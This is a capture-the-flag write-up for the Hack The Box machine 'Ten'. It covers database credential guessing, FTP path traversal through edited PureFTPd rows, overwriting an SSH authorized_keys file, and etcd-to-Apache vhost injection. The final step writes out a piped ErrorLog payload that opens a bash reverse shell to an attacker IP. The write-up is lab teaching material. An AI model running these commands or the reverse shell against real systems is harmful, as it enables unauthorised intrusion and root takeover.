writeup 2025-11-24 · 13 min read

Hack The Box Ten Writeup (Hard Linux)

Hard Linux box. WebDB guesses the PureFTPd database password, editing the FTP user row plants an SSH key for tyrell, and etcd vhost injection returns root.

Hack The Box Ten Writeup (Hard Linux)

Summary

Ten runs a hosting portal that hands every signup an FTP account and a personal vhost. Virtual host fuzzing finds webdb.ten.vl, whose Guess Credentials button recovers the database login user:pa55w0rd and opens the pureftpd database that stores each FTP account’s home directory, UID and GID. Table constraints block setting UID 0 or a home outside /srv, but /srv/.. escapes to the filesystem root, /etc/passwd names tyrell as the only shell user, and switching the row to UID and GID 1000 grants his permissions. Pointing the FTP home at /home/tyrell/.ssh allows overwriting authorized_keys with an attacker public key for an SSH session as tyrell. On the box, the signup script writes each customer’s domain into etcd, and something turns those keys into Apache vhost blocks, so writing a key with a newline and an ErrorLog piped to bash injects a directive that Apache runs as root.

Initial FTP Server Enumeration

I notice FTP is open on the machine:

1
2
3
4
5
6
7
8
9
$ ftp 10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 13:46. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.129.234.158:user):

Anonymous login is not allowed. Hence, there’s not much we can do here without valid credentials.

Web Server Enumeration

The web server on port 80 seems to have PHP running (I get redirected to index.php):

The port 80 web server redirecting to index.php

The home page also hints towards the .htaccess file:

The home page text pointing readers at the .htaccess file

I start a directory bruteforcing to find valid directories on the system:

1
feroxbuster --url http://10.129.234.158 -x php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -t 25

It returns me the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       78l      226w     4525c http://10.129.234.158/attribution.php
200      GET       90l      402w    39588c http://10.129.234.158/dist/img/caffeine-coffee-cup-6347.jpg
200      GET       81l      464w    44565c http://10.129.234.158/dist/img/cyber-security-cybersecurity-device-60504.jpg
200      GET        7l      971w    76855c http://10.129.234.158/dist/js/bootstrap.bundle.min.js
200      GET       90l      208w     1632c http://10.129.234.158/carousel.css
200      GET        7l     1966w   155758c http://10.129.234.158/dist/css/bootstrap.min.css
200      GET       97l      297w     4050c http://10.129.234.158/signup.php
200      GET      113l      404w     5131c http://10.129.234.158/index.php
200      GET        9l       25w      205c http://10.129.234.158/
200      GET     1169l     5839w   651702c http://10.129.234.158/dist/img/ai-codes-coding-97077.jpg
200      GET      127l      339w    23825c http://10.129.234.158/dist/img/donkey-ddos.jpg
200      GET      133l      601w    58305c http://10.129.234.158/dist/img/art-bright-card-1749900.jpg
200      GET      199l     1208w   122095c http://10.129.234.158/dist/img/account-calculate-calculating-220301.jpg
200      GET      130l      754w    81244c http://10.129.234.158/dist/img/black-and-white-computer-device-163017.jpg
200      GET      952l     5029w   527530c http://10.129.234.158/dist/img/business-code-coding-943096.jpg
200      GET     1408l     6105w   617689c http://10.129.234.158/dist/img/ai-artificial-intelligence-codes-247791.jpg
200      GET      879l     4746w   402071c http://10.129.234.158/dist/img/abstract-architecture-attractive-988873.jpg
200      GET      844l     4357w    74324c http://10.129.234.158/info.php
200      GET      221l     1367w   147808c http://10.129.234.158/dist/img/abstract-ai-art-373543.jpg
302      GET        1l        8w       76c http://10.129.234.158/get-credentials-please-do-not-spam-this-thanks.php => http://10.129.234.158/signup.php

Three interesting files spark my curiosity:

1
2
3
attribution.php
get-credentials-please-do-not-spam-this-thanks.php
info.php

However only “info.php” proves to be useful. It’s literally a php script that calls “phpinfo()”:

info.php rendering the full phpinfo output

I gather many intel from this file, including the absolute path to where this web server files are located:

1
/var/www/html

I go to the sign up page and create an account:

The signup page issuing the personal domain hacker.ten.vl

It says my “personal domain” is “hacker.ten.vl”. I add it to my /etc/hosts file:

1
10.129.234.158 ten.vl hacker.ten.vl

I access hacker.ten.vl and it actually lands me in a directory listing:

hacker.ten.vl serving an open directory listing

So I assume the files I upload to the ftp server will show up here. Since the web server is using vhosts, I might as well enumerate to see if I can find any others:

1
ffuf -u http://ten.vl -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.ten.vl"  -fw 17 -t 15

Sure enough I get a hit for webdb:

1
webdb                   [Status: 200, Size: 1683, Words: 55, Lines: 14]

I add this to /etc/hosts:

1
10.129.234.158 webdb.ten.vl ten.vl hacker.ten.vl

WebDB domain prompts me for database credentials right away. However, it has a button that says “Guess Credentials”:

The WebDB login prompt with its Guess Credentials button

I hit this button, and it actually finds me valid credentials (user:pa55w0rd):

WebDB recovering the valid database credentials user and pa55w0rd

I log in and now have access to the database “pureftpd”:

The pureftpd database open in the WebDB interface

It shows me where my user’s root is located and also the UID/GID which my user runs in the context of:

The FTP account row showing its home directory and the UID and GID it runs as

I try changing my user’s UID/GID to 0 (root) but there’s a table constraint that prevents me from doing that. The UID and GID must be above 999:

A table constraint rejecting a UID and GID below 1000

So I return them to the previous value. Now I try chaning the default dir to something else, perhaps the root of the filesystem (/) so I can read more files, but I face yet another constraint! The “dir” value must start with /srv:

A second constraint rejecting a home directory that does not start withsrv

That’s interesting. But what if I start with “/srv” and then go down one directory?

(../) I do:

1
2
3
4
5
6
7
8
{
	"id": "1",
	"user": "ten-aea7bce0",
	"password": "$1$OWNhNDE$cedgRj1IiodGqkcVVkrmD1",
	"uid": 22125,
	"gid": 22125,
	"dir": "/srv/.."
}

And it works:

The row accepted once the directory is written assrv followed by a traversal

I log out from my current ftp session and log in again, to see I’m actually in the root of the filesystem:

A fresh FTP session landing at the root of the filesystem

I cd to “etc” and grab “passwd”:

1
2
3
4
5
6
7
8
9
10
11
ftp> cd etc
250 OK. Current directory is /etc
ftp> get passwd
local: passwd remote: passwd
229 Extended Passive mode OK (|||35929|)
150 Accepted data connection
100% |****************************************|  1882       33.23 MiB/s    00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 22.40 Mbytes per second
1882 bytes received in 00:00 (7.01 MiB/s)
ftp>

I notice the only user with shell access (/bin/bash):

1
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

The user’s UID and GID are higher than 999 (the constraint imposed previously) which means I can probably change that in the database to 1000:1000 and have the same permissions as “tyrell”.

I do that, and this is how my user looks like now in the database (UID 1000 and GID 1000):

The FTP account row updated to UID 1000 and GID 1000 to match tyrell

I log out and log back in to the ftp server and access /home/tyrell to find there’s a .ssh folder. The user.txt file is also hidden (.user.txt), which is odd:

FTP listing ofhome/tyrell showing the .ssh directory and the hidden .user.txt

I can’t really get user.txt because it’s a prohibited file name (starts with a dot):

1
2
3
4
ftp> get .user.txt
local: .user.txt remote: .user.txt
229 Extended Passive mode OK (|||53655|)
553 Prohibited file name: .user.txt

This is a security mechanism that prevents a few problematic attacks, including writing a .htaccess file to the directory. Since the files in the ftp user’s directory (in /srv) would be displayed/processed by the web server on the user’s domain (in my case, hacker.ten.vl) I could potentially use my ftp access to write a malicious .htaccess file with the following contents:

1
AddType application/x-httpd-php .hello

This would allow for me to upload a file with arbitrary php code that has a name that ends with “.hello” and the web server would execute my file as a normal php file.

I also can’t access the .ssh directory:

1
2
ftp> cd .ssh/
553 Prohibited file name: .ssh/

So I gotta change my user’s root in the database to point directly to /home/tyrell/.ssh in order to have access to this folder. I do that:

1
2
3
4
5
6
7
8
{
	"id": "1",
	"user": "ten-aea7bce0",
	"password": "$1$OWNhNDE$cedgRj1IiodGqkcVVkrmD1",
	"uid": 1000,
	"gid": 1000,
	"dir": "/srv/../home/tyrell/.ssh"
}

Once again I log out and log back in to refresh the session. If I list for files, I see I’m in tyrell’s .ssh folder:

1
2
3
4
5
6
ftp> ls -la
229 Extended Passive mode OK (|||58304|)
150 Accepted data connection
drwx------    2 1000       tyrell           4096 Nov 24 20:28 .
drwxr-x---    6 1000       tyrell           4096 Nov 24 20:50 ..
-rw-------    1 1000       tyrell            568 Nov 24 15:38 authorized_keys

I do generate a SSH public/private key pair:

1
ssh-keygen -f tyrell

And use the FTP session to overwrite the current authorized_keys file with my newly generated public key for tyrell:

1
2
3
4
5
6
7
8
ftp> put tyrell.pub authorized_keys
local: tyrell.pub remote: authorized_keys
229 Extended Passive mode OK (|||1451|)
150 Accepted data connection
100% |****************************************|   568       10.62 MiB/s    00:00 ETA
226-File successfully transferred
226 0.306 seconds (measured here), 1.81 Kbytes per second
568 bytes sent in 00:00 (1.79 KiB/s)

I can log in to the machine via SSH as tyrell using the private key (tyrell):

1
2
3
4
5
6
7
8
9
10
$ ssh tyrell@ten.vl -i tyrell 

 System information as of Mon Nov 24 08:58:11 PM UTC 2025

  System load:  0.0               Processes:             254
  Usage of /:   74.2% of 8.07GB   Users logged in:       0
  Memory usage: 20%               IPv4 address for eth0: 10.129.234.158
  Swap usage:   0%
Last login: Mon Nov 24 15:45:16 2025 from 10.10.14.57
-bash-5.1$

Credentialed FTP Enumeration

I did sign up to the application and it gave me credentials to log in to FTP. I do log in:

1
ftp ftp://ten-aea7bce0:494e3944@ten.vl

I create a dummy file:

1
echo test > test.txt

And upload it like so:

1
2
3
4
5
6
7
8
9
ftp> put test.txt
local: test.txt remote: test.txt
229 Extended Passive mode OK (|||52148|)
150 Accepted data connection
100% |****************************************|     5       71.80 KiB/s    00:00 ETA
226-File successfully transferred
226 0.308 seconds (measured here), 16.22 bytes per second
5 bytes sent in 00:00 (0.01 KiB/s)
ftp>

I can see the file on the webserver under my domain name (hacker.ten.vl):

The uploaded test.txt served back through the hacker.ten.vl vhost

Failed Exploit Attempts

I tried exploring the context of symlinks to maybe escape my directory jail and grab irrestricted local files from the filesystem. However, the ftp protocol does not support symlinks by default, only additional modules from specific server software would allow me to conduct the attack.

With that in mind, maybe I can actually use sftp (secure ftp, via SSH) and not only ftp. Connecting through SSH could potentially allow me to use symlinks. However, when I try authenticating using “sftp”, I get errors.

2. PHP File Upload

Since we know the web server runs PHP, the idea was to upload a PHP file over FTP and call it from my own vhost. That needs the .htaccess trick described above, and the prohibited file name rule blocks writing a .htaccess at all, so this went nowhere.

Privilege Escalation

With the shell as tyrell, I could enumerate the internals of the server further. I got ahold of the source code of the web application. More specifically, get-credentials-please-do-not-spam-this-thanks.php. This is how it looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if ( !isset($_POST['domain']) ) {
  header('Location: /signup.php');
}
if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
  echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');
} else {
  $username = "ten-" . substr(hash("md5",rand()),0,8);
  $password = substr(hash("md5",rand()),0,8);
  $password_crypt = crypt($password,'$1$OWNhNDE');
  sleep(10); // This is only here so that you do not create too many users :)
  $mysqli = new mysqli("127.0.0.1", "user", "pa55w0rd", "pureftpd");
  $stmt = $mysqli->prepare("INSERT INTO users VALUES ( NULL, ?, ?, ?, ?, ? );");
  $uid = random_int(2000,65535);
  $dir = "/srv/$username/./";
  $stmt->bind_param('ssiis',$username,$password_crypt,$uid,$uid,$dir);
  $stmt->execute();
  system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
  echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br>Personal Domain: <b>'.$_POST['domain'].'.ten.vl</b><br><br>You can use the provided credentials to upload your pages<br> via ftp://ten.vl.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.</font></p>');
}

It seems like it’s interacting with etcd (key-value database), which is interesting. I wonder what’s that being used for. I know that the system creates a apache vhost configuration for every user (it created one for my user automatically, hacker.ten.vl) so I check that out in apache config files:

1
2
3
4
5
6
7
-bash-5.1$ ls -la /etc/apache2/sites-enabled/
total 16
drwxr-xr-x 2 root root 4096 Nov 24 21:12 .
drwxr-xr-x 8 root root 4096 Apr 11  2025 ..
lrwxrwxrwx 1 root root   35 Sep 28  2024 000-default.conf -> ../sites-available/000-default.conf
-rw-r--r-- 1 root root  180 Sep 28  2024 001-webdb.conf
-rw-r--r-- 1 root root  523 Nov 24 20:22 010-customers.conf

I cat 010-customers.conf and see my hacker vhost:

1
2
3
4
<VirtualHost *:80>
        ServerName hacker.ten.vl
        DocumentRoot /srv/ten-aea7bce0/
</VirtualHost>

How does this get created though? Because the php script from earlier is actually doing most of the job, including adding the proper user to the databse and the key/value to etcd. There must be something watching for changes either on the database or on etcd. It’s either a cronjob that runs every minute or so, or a more sophisticated, real-time solution I guess.

If I look at the mysql database scheme again, I notice how the vhost is never mentioned anywhere:

1
2
3
4
5
6
7
8
{
	"id": "1",
	"user": "ten-aea7bce0",
	"password": "$1$OWNhNDE$cedgRj1IiodGqkcVVkrmD1",
	"uid": 1000,
	"gid": 1000,
	"dir": "/srv/../home/tyrell/.ssh"
}

However, if you look at the etcd command though:

1
system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);

The domain is actually included in the request, so the automated solution must be looking for this change in etcd to modify apache vhost config with the proper domain.

You see the script sanitizes the domain value before using it so it must only contain alphanumeric characters:

1
2
if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
  echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');

But since we’re on the box now, maybe we can interact with etcd directly and poke with the domain value, potentially without sanitization. I look on the internet for reference. I export the variable from the command:

1
export ETCDCTL_API=3

And begin enumerating it, starting by listing all keys:

1
etcdctl --endpoints=http://127.0.0.1:2379 get / --prefix --keys-only

It returns me my user’s key:

1
/customers/ten-aea7bce0/url

I can see it contains the value “hacker”, which is the domain I chose:

1
2
3
-bash-5.1$ etcdctl --endpoints=http://127.0.0.1:2379 get /customers/ten-aea7bce0/url
/customers/ten-aea7bce0/url
hacker

I test the theory by adding a new value:

1
etcdctl --endpoints=http://127.0.0.1:2379 put /customers/ten-pwned/url test

And I see my new “test” vhost being added basically immediately to /etc/apache2/sites-enabled/010-customers.conf:

1
2
3
4
<VirtualHost *:80>
        ServerName test.ten.vl
        DocumentRoot /srv/ten-pwned/
</VirtualHost>

We can place anything here:

1
ServerName <ARBITRARY-INPUT>.ten.vl

So I create a payload that breaks from this line and injects arbitrary arguments to this vhost configuration. I use the piped logs feature from Apache to obtain remote code execution as root:

1
etcdctl --endpoints=http://127.0.0.1:2379 put /customers/pwned/url $'pwned\nErrorLog "|/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.57/4444 0>&1\'"\n#'

Remember netcat must be listening on port 4444:

1
nc -lvnp 4444

netcat receiving a root reverse shell from the injected Apache ErrorLog directive

This post is licensed under CC BY 4.0 by the author.